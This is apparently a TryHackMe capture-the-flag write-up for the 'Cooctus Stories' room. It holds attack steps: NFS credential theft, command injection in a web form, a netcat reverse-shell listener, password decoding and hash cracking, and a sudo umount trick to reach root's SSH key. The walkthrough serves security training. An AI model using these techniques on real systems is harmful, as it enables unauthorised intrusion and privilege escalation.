Cooctus Stories TryHackMe Writeup

15 minute read

coconut

Cooctus Stories is a medium rated Linux room on Tryhackme by TuxTheXplorer. We mount a NFS share which contained a file with backup credential which was used to login on the webserver running on Port 8080. The webserver was vulnerable to code injection and a reverse shell as user paradox was obtained. Shell as user Szymex was obtained after reversing a logic of a python script. MD5 hash for user tux was obtained after completing few challenges and was cracked to obtained the password for user tux. Password for another user varg was obtained from the older commit of a GIT repo. User varg can run umount as user root which was used to get a root shell on the box.

Nmap Scan

All Port Scan

[email protected]:~/Documents/tryhackme/coconutadventures$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports 10.10.67.80
Nmap scan report for 10.10.67.80
Host is up (0.17s latency).
Not shown: 58771 closed ports, 6756 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
2049/tcp  open  nfs
8080/tcp  open  http-proxy
35505/tcp open  unknown
46689/tcp open  unknown
52461/tcp open  unknown
57609/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Apr 16 19:17:11 2021 -- 1 IP address (1 host up) scanned in 58.98 seconds

We have quite a few ports open.

Detail Scan

[email protected]:~/Documents/tryhackme/coconutadventures$ nmap -p 22,111,2049,8080,35505,46689,52461,57609 -sC -sV -oN nmap/detail 10.10.67.80
Nmap scan report for 10.10.67.80
Host is up (0.19s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
|   256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_  256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      35505/tcp   mountd
|   100005  1,2,3      36263/udp   mountd
|   100005  1,2,3      58063/tcp6  mountd
|   100005  1,2,3      60633/udp6  mountd
|   100021  1,3,4      34234/udp6  nlockmgr
|   100021  1,3,4      45640/udp   nlockmgr
|   100021  1,3,4      46689/tcp   nlockmgr
|   100021  1,3,4      46751/tcp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
8080/tcp  open  http     Werkzeug httpd 0.14.1 (Python 3.6.9)
|_http-title: CCHQ
35505/tcp open  mountd   1-3 (RPC #100005)
46689/tcp open  nlockmgr 1-4 (RPC #100021)
52461/tcp open  mountd   1-3 (RPC #100005)
57609/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 16 19:19:45 2021 -- 1 IP address (1 host up) scanned in 32.57 seconds

Enumerating NFS Share on Port 2049

Listing NFS Share

[email protected]:~/Documents/tryhackme/coconutadventures$ showmount -e 10.10.67.80
Export list for 10.10.67.80:
/var/nfs/general *

Mounting the share

[email protected]:~/Documents/tryhackme/coconutadventures$ sudo mount -t nfs 10.10.67.80:/var/nfs/general mnt

Listing the content of the Share

[email protected]:~/Documents/tryhackme/coconutadventures$ ls -la mnt
total 12
drwxr-xr-x 2 nobody   nogroup  4096 Nov 22 00:09 .
drwxrwxr-x 4 reddevil reddevil 4096 Apr 16 19:22 ..
-rw-r--r-- 1 root     root       31 Nov 22 00:09 credentials.bak

Content of credentials.bak

[email protected]:~/Documents/tryhackme/coconutadventures$ cat mnt/credentials.bak 
paradoxial.test
Shi*******79

Trying to write a file

[email protected]:~/Documents/tryhackme/coconutadventures$ touch mnt/test
touch: cannot touch 'mnt/test': Read-only file system

The Share is read only. So, we can not create a new file on the share.

HTTP Service on Port 8080

2 We get a landing page.

Directory and file bruteforcing with ffuf

[email protected]:~/Documents/tryhackme/coconutadventures$ ffuf -u http://10.10.67.80:8080/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .html,.py,.txt,.php

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.67.80:8080/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Extensions       : .html .py .txt .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

login                   [Status: 200, Size: 556, Words: 25, Lines: 18]
cat                     [Status: 302, Size: 219, Words: 22, Lines: 4]

Visiting /login

3

With the earlier obtained credentials, we get in.

Visting /cat

4

Playing with the payload parameter

5

Hypothesis

if isset($_POST['payload']){
	system('cat ' . $_POST['payload'])
}

If there is no sanitization of user input, we can get code execution on the box.

Listening for Ping requests on my local box

[email protected]:~/Documents/tryhackme/coconutadventures$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes

Making a ping request

6

And we get a response back. 7

Since we have code execution on the box, let us try and get a reverse shell.

Getting a reverse shell

8

And we get a reverse shell as user paradox.

[email protected]:~/Documents/tryhackme/coconutadventures$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.67.80 56954
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1003(paradox) gid=1003(paradox) groups=1003(paradox)

Getting a proper TTY

Now lets get a proper shell with auto completion.

$ python3 -c "import pty;pty.spawn('/bin/bash')"

Hit CRTL+z to background the current process and on local box type

[email protected]:~/Documents/tryhackme/coconutadventures$ stty raw -echo

and type fg and hit enter twice and on the reverse shell export the TERM as xterm.

[email protected]:~$ export TERM=xterm

Reading User flag

[email protected]:~$ cat user.txt 
THM{2dccd*****************85ca2}

Privilege Escalation

Content of /etc/crontab

[email protected]:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* *     * * *   szymex  /home/szymex/SniffingCat.py

SniffinCat.py is being run as user szymex every minute.

Content of /home/szymex/SniffingCat.py

#!/usr/bin/python3
import os
import random

def encode(pwd):
    enc = ''
    for i in pwd:
        if ord(i) > 110:
            num = (13 - (122 - ord(i))) + 96
            enc += chr(num)
        else:
            enc += chr(ord(i) + 13)
    return enc


x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)

message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)

with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
    line = f.readline().rstrip("\n")
    enc_pw = encode(line)
    if enc_pw == "pureelpbxr":
        os.system("wall -g paradox " + message)
        os.system("wall -g paradox " + coords)

The script takes a value from file /home/szymex/mysupersecretpassword.cat, pass it to a function which does some crypto magic and if the function returns pureelpbxr, wall command is executed.

Checking the permissions of /home/szymex/mysupersecretpassword.cat

[email protected]:~$ ls -la /home/szymex/mysupersecretpassword.cat
-r-------- 1 szymex szymex 11 Jan  2 14:18 /home/szymex/mysupersecretpassword.cat

We do not have read permission.

Instead of reversing, I wrote a code to bruteforce the password.

Content of exp.py

#!/usr/bin/python3
def encode(pwd):
    enc = ''
    for i in pwd:
        if ord(i) > 110:
            num = (13 - (122 - ord(i))) + 96
            enc += chr(num)
        else:
            enc += chr(ord(i) + 13)
    return enc


password = "pureelpbxr"

test = 'qwertyuiopasdfghjklzxcvbnm' # All possible characters
ans = ''                            # Content of the file will be here
for i in password:                  # for every character of the password
    for j in test:
        tmp = encode(j)
        if tmp == i:
            ans += j
            break

print(ans)

Running the script

[email protected]:~/Documents/tryhackme/coconutadventures$ python3 exp.py 
ch*******ke

We get the content of /home/szymex/mysupersecretpassword.cat.

Checking if szymex has reused the password

[email protected]:/home/szymex$ su szymex                                                                                                                  
Password:                                                                  
[email protected]:~$ id
uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)

And we get a shell as syzmex and he is a member of group testers.

Reading flag

[email protected]:~$ cat user.txt 
THM{c89f9****************2992ef}

Listing all files that are owned by group testers

[email protected]:~$ find / -type f -group testers -ls 2>/dev/null
   791869      4 -rwxrwx---   1 tux      testers       178 Feb 20 21:02 /home/tux/tuxling_3/note
   655541      4 -rw-rw----   1 tux      testers       610 Jan  2 20:00 /home/tux/tuxling_1/nootcode.c
   657698      4 -rw-rw----   1 tux      testers       326 Feb 20 16:28 /home/tux/tuxling_1/note
   655450      4 -rw-rw-r--   1 tux      testers      3670 Feb 20 20:01 /media/tuxling_2/private.key
   655545      4 -rw-rw----   1 tux      testers       280 Jan  2 20:20 /media/tuxling_2/note
   655463      4 -rw-rw-r--   1 tux      testers       740 Feb 20 20:00 /media/tuxling_2/fragment.asc

Few files are on the home directory of user tux and some files are inside /media directory.

Contents on /home/tux

[email protected]:/home/tux$ ls -l
total 12
-rw-rw-r-- 1 tux tux      630 Jan  2 19:05 note_to_every_cooctus
drwxrwx--- 2 tux testers 4096 Feb 20 16:28 tuxling_1
-rw------- 1 tux tux       38 Feb 20 21:05 user.txt

Content of note_to_every_cooctus

[email protected]:/home/tux$ cat note_to_every_cooctus 
Hello fellow Cooctus Clan members

I'm proposing my idea to dedicate a portion of the cooctus fund for the construction of a penguin army.

The 1st Tuxling Infantry will provide young and brave penguins with opportunities to
explore the world while making sure our control over every continent spreads accordingly.

Potential candidates will be chosen from a select few who successfully complete all 3 Tuxling Trials.
Work on the challenges is already underway thanks to the trio of my top-most explorers.

Required budget: 2,348,123 Doge coins and 47 pennies.

Hope this message finds all of you well and spiky.

- TuxTheXplorer

It talks about a challenge and we have to complete all 3 tuxling trials.

Listing the contents of tuxling_1 (first trial)

[email protected]:/home/tux$ ls -la tuxling_1
total 16
drwxrwx--- 2 tux testers 4096 Feb 20 16:28 .
drwxr-xr-x 9 tux tux     4096 Feb 20 22:02 ..
-rw-rw---- 1 tux testers  610 Jan  2 20:00 nootcode.c
-rw-rw---- 1 tux testers  326 Feb 20 16:28 note

Content of note

[email protected]:/home/tux/tuxling_1$ cat note
Noot noot! You found me. 
I'm Mr. Skipper and this is my challenge for you.

General Tux has bestowed the first fragment of his secret key to me.
If you crack my NootCode you get a point on the Tuxling leaderboards and you'll find my key fragment.

Good luck and keep on nooting!

PS: You can compile the source code with gcc

Content of nootcode.c

#include <stdio.h>

#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "f96"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "050a"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "d61"

noot Noot noOt nooT NOot
    noOT noOt nOoOoT nooT NooT
    Nooot noOt nooT NooT

    nOot nOOT NooT
NoOt

NOOt nooot noOt nooT NOot
    noOT noOt NOOOT nooOT nout nooT NooT
NoOt

NOOt Nooot noOt nooT NOot
    noOT noOt NOOT nooT NooT
NoOt

We can just use find and replace to see what the code means.

Writing a ugly bash one liner

[email protected]:/tmp$ for line in `cat nootcode.c  | grep define  | awk '{print "s/"$2"/"$3"/g"}' | tr '\n' ';' | sed 's/;$//'`; do echo sed -e \'$line\' nootcode.c | bash; done

.......[snip]...........
int main ( ) {
    printf ( "What ) ;
    nuut ( ) ;

    return 0 ;
}

void key ( ) {
    printf ( "f96" "050a" "d61" ) ;
}

void nuut ( ) {
    printf ( "NOOT!
" ) ;
}

We do not get correct program but it gets our job done and we can see that there is a function key(), which gives us the first portion of the key.

key=f96****d61

Checking files from the find command for second trial

We had 3 files for the second challenge.

[email protected]:/home/tux$ cat /media/tuxling_2/note
Noot noot! You found me. 
I'm Rico and this is my challenge for you.

General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).

You can have the key fragment if you can decrypt it.

Good luck and keep on nooting!

[email protected]:/home/tux$ cat /media/tuxling_2/fragment.asc
-----BEGIN PGP MESSAGE-----

hQGMA5fUjrF1Eab6AQv/Vcs2Y6xyn5aXZfSCjCwKT1wxBgOcx2MBeat0wtAsYzkF
J6nWV3nBUyA2tXUBAHsr5iZnsuXubsG6d5th7z5UO8+1MS424I3Rgy/969qyfshj
iouZtXyaerR1/Sok3b1wk3iyPCn2cXc2HPP57bDqm15LEwO28830wun8twT6jX/+
Nr4tDW767gfADB/nJOFkAr+4rqHGY8J/bFnLHTZV2oVIYbFy0VarzcKBFQVQLx0G
OqF1A1nPHNCCENcHEzGbzogQoQbQK+8jefH8Epfs25zpsTTg/+z5XOnJQXD5UXg2
x9c0ABS9T8K3V6ZhyXPAxfSFpxUyVJBKhnugOd/QP4Kqzu30H1mWNxvE1jJQpcxs
uBJIzEtHn/efXQdsLM8swQ6RrnTAKRpK7Ew307itPSvaejCw87FCTaMzwXj2RNkD
8n6P/kZbTHrVdBS7KxGDJ/SsTpQgz8QpQyQIK/oDxNEP4ZsgosBJ4QnjVW8vNLZF
P72PMvolHYd461j62+uv0mQBTQhH5STUWq6OtHlHgbrnSJvGNll3WZ5BfCiE2O1C
8+UXEfCw05QMZgE2dePneZdWISNUkGTTVji9atq3l4b0vbHihNdwTTMfla8+arPs
eA0RkdEXuoYWvOpocvlU5XuTcCdy
=GDIs
-----END PGP MESSAGE-----

[email protected]:/home/tux$ file /media/tuxling_2/private.key
/media/tuxling_2/private.key: PGP\011Secret Key - 3072b created on Sat Feb 20 19:58:30 2021 - RSA (Encrypt or Sign) e=65537 Plaintext or unencrypted data


Importing private key

[email protected]:/home/tux$ file /media/tuxling_2/private.key
/media/tuxling_2/private.key: PGP\011Secret Key - 3072b created on Sat Feb 20 19:58:30 2021 - RSA (Encrypt or Sign) e=65537 Plaintext or unencrypted data
[email protected]:/home/tux$ gpg --import /media/tuxling_2/private.key
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

Decrypting the content

[email protected]:/home/tux$ gpg --decrypt /media/tuxling_2/fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
      "TuxPingu"
The second key fragment is: 6e*****8d

Combining 1st and 2nd fragment

key=f96****d616e*****8d

Checking the files from find command for 3rd trial

[email protected]:/home/tux$ cat /home/tux/tuxling_3/note
Hi! Kowalski here. 
I was practicing my act of disappearance so good job finding me.

Here take this,
The last fragment is: 637*******552

Combine them all and visit the station.

Combining all 3 fragments

key=f96****d616e*****8d637*******552

It looks like MD5 hash. I checked online on https://hashes.com/en/decrypt/hash and found the password for user tux. 9

Shell as user tux

[email protected]:/home/tux$ su tux
Password: 
[email protected]:~$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),1004(testers),1005(os_tester)

User tux is a member of the group os_tester.

Reading another flag

[email protected]:~$ cat user.txt 
THM{592d*************dbd6f1}

Finding files own by group os_tester

[email protected]:~$ find / -type d  -maxdepth 3 -group os_tester  -ls 2>/dev/null
   656731      4 drwxrwx---  11 varg     os_tester     4096 Feb 20 15:44 /home/varg/cooctOS_src
   656731      4 drwxrwx---  11 varg     os_tester     4096 Feb 20 15:44 /opt/CooctFS
   656743      4 drwxrwx---   3 varg     os_tester     4096 Feb 20 14:44 /opt/CooctFS/lib
   791668      4 drwxrwx---   2 varg     os_tester     4096 Feb 20 15:46 /opt/CooctFS/bin
   655425      4 drwxrwx---  16 varg     os_tester     4096 Feb 20 15:21 /opt/CooctFS/run
   656752      4 drwxrwx---  11 varg     os_tester     4096 Feb 20 15:20 /opt/CooctFS/var
   655467      4 drwxrwxr-x   8 varg     os_tester     4096 Feb 20 15:47 /opt/CooctFS/.git
   791787      4 drwxrwx---   2 varg     os_tester     4096 Feb 20 15:41 /opt/CooctFS/games
   656017      4 drwxrwx---   2 varg     os_tester     4096 Feb 20 15:10 /opt/CooctFS/etc
   656756      4 drwxrwx---   2 varg     os_tester     4096 Feb 20 09:11 /opt/CooctFS/tmp
   656773      4 drwxrwx---   4 varg     os_tester     4096 Feb 20 15:22 /opt/CooctFS/boot

We get two directories. ie /home/varg/cooctOS_src and /opt/CooctFS. So let’s check them out.

Contents of /opt/CooctFS

[email protected]:/opt/CooctFS$ ls -la
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 .
drwxr-xr-x  3 root root      4096 Feb 20 14:30 ..
drwxrwx---  2 varg os_tester 4096 Feb 20 15:46 bin
drwxrwx---  4 varg os_tester 4096 Feb 20 15:22 boot
drwxrwx---  2 varg os_tester 4096 Feb 20 15:10 etc
drwxrwx---  2 varg os_tester 4096 Feb 20 15:41 games
drwxrwxr-x  8 varg os_tester 4096 Feb 20 15:47 .git
drwxrwx---  3 varg os_tester 4096 Feb 20 14:44 lib
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run
drwxrwx---  2 varg os_tester 4096 Feb 20 09:11 tmp
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var

We can see a .git directory.

Checking the logs

[email protected]:/opt/CooctFS$ git log
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <[email protected]>
Date:   Sat Feb 20 15:47:21 2021 +0000

    Removed CooctOS login script for now

commit 6919df5c171460507f69769bc20e19bd0838b74d
Author: Vargles <[email protected]>
Date:   Sat Feb 20 15:46:28 2021 +0000

    Created git repo for CooctOS

Checking the difference between two commits

[email protected]:/opt/CooctFS$git diff 8b8daa41120535c569d0b99c6859a1699227d086 6919df5c171460507f69769bc20e19bd0838b74d
..................[snip]........................
+print("CooctOS 13.3.7 LTS cookie tty1")
+uname = input("\ncookie login: ")
+pw = input("Password: ")
+
+for i in range(0,2):
+    if pw != "slo********ork":
+        pw = input("Password: ")
+    else:
+        if uname == "varg":
+            os.setuid(1002)
+            os.setgid(1002)
+            pty.spawn("/bin/rbash")
+            break
.................[snip]...........................

And we can see the password for user varg.

Shell as user varg

[email protected]:/opt/CooctFS$ su varg
Password: 
[email protected]:/opt/CooctFS$ id
uid=1002(varg) gid=1002(varg) groups=1002(varg),1005(os_tester)

And we get a shell as user varg.

Reading another flag

[email protected]:~$ cat user.txt 
THM{3a330***************86e6}

Checking sudo -l

[email protected]:~$ sudo -l
Matching Defaults entries for varg on cchq:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User varg may run the following commands on cchq:
    (root) NOPASSWD: /bin/umount

User varg can run /bin/umount on the box. So, lets check if we can use this to escalate our privileges to root on gtfobins. It looks like this can not be used directly for the privilege escalation.

Listing the mounts

[email protected]:~$ df -ha | grep opt
/dev/mapper/ubuntu--vg-ubuntu--lv   19G  6.5G   12G  37% /opt/CooctFS

We can see that the /dev/mapper/ubuntu–vg-ubuntu–lv is mounted on /opt/CooctFS. Since we can run umount as root, I tried to unmount /opt/CooctFS.

Unmounting /opt/CooctFS

[email protected]:~$ sudo /bin/umount /opt/CooctFS
umount: /opt/CooctFS: target is busy.            
[email protected]:~$ sudo /bin/umount -f /opt/CooctFS                      
umount: /opt/CooctFS: target is busy.            
[email protected]:~$ sudo /bin/umount -l /opt/CooctFS 

Normal unmounting and force unmounting did not work, so I used lazy unmounting.

Content of /opt

[email protected]:/opt$ ls -al
total 12
drwxr-xr-x  3 root root 4096 Feb 20 14:30 .
drwxr-xr-x 24 root root 4096 Feb 20 21:04 ..
drwxr-xr-x  3 root root 4096 Feb 20 09:09 CooctFS

Files inside CooctFS

[email protected]:/opt$ cd CooctFS/
[email protected]:/opt/CooctFS$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .
drwxr-xr-x 3 root root 4096 Feb 20 14:30 ..
drwxr-xr-x 5 root root 4096 Feb 20 09:16 root

We get a new folder called root.

Content of root

[email protected]:/opt/CooctFS/root$ ls -la
total 28
drwxr-xr-x 5 root root 4096 Feb 20 09:16 .
drwxr-xr-x 3 root root 4096 Feb 20 09:09 ..
lrwxrwxrwx 1 root root    9 Feb 20 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Feb 20 09:09 .bashrc
drwx------ 3 root root 4096 Feb 20 09:09 .cache
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .local
-rw-r--r-- 1 root root   43 Feb 20 09:16 root.txt
drwxr-xr-x 2 root root 4096 Feb 20 09:41 .ssh

Reading root.txt

[email protected]:/opt/CooctFS/root$ cat root.txt 
hmmm...
No flag here. You aren't root yet.

Contents of .ssh

[email protected]:/opt/CooctFS/root/.ssh$ ls
id_rsa  id_rsa.pub

We have a private key. Let us use SSH to login on the box as root using the key.

Shell as root

[email protected]:/opt/CooctFS/root/.ssh$ ssh -i id_rsa [email protected]
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:7/RM1nMYqyZHC8ICXMcPUC3vIVlZuQab39ZsXs9Q+NI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr 16 16:32:30 UTC 2021

  System load:  0.08               Processes:           129
  Usage of /:   35.4% of 18.57GB   Users logged in:     1
  Memory usage: 68%                IP address for eth0: 10.10.67.80
  Swap usage:   0%


0 packages can be updated.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Feb 20 22:22:12 2021 from 172.16.228.162
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)

Reading root flag

[email protected]:~# cat root.txt 
THM{H4C***********CL4N}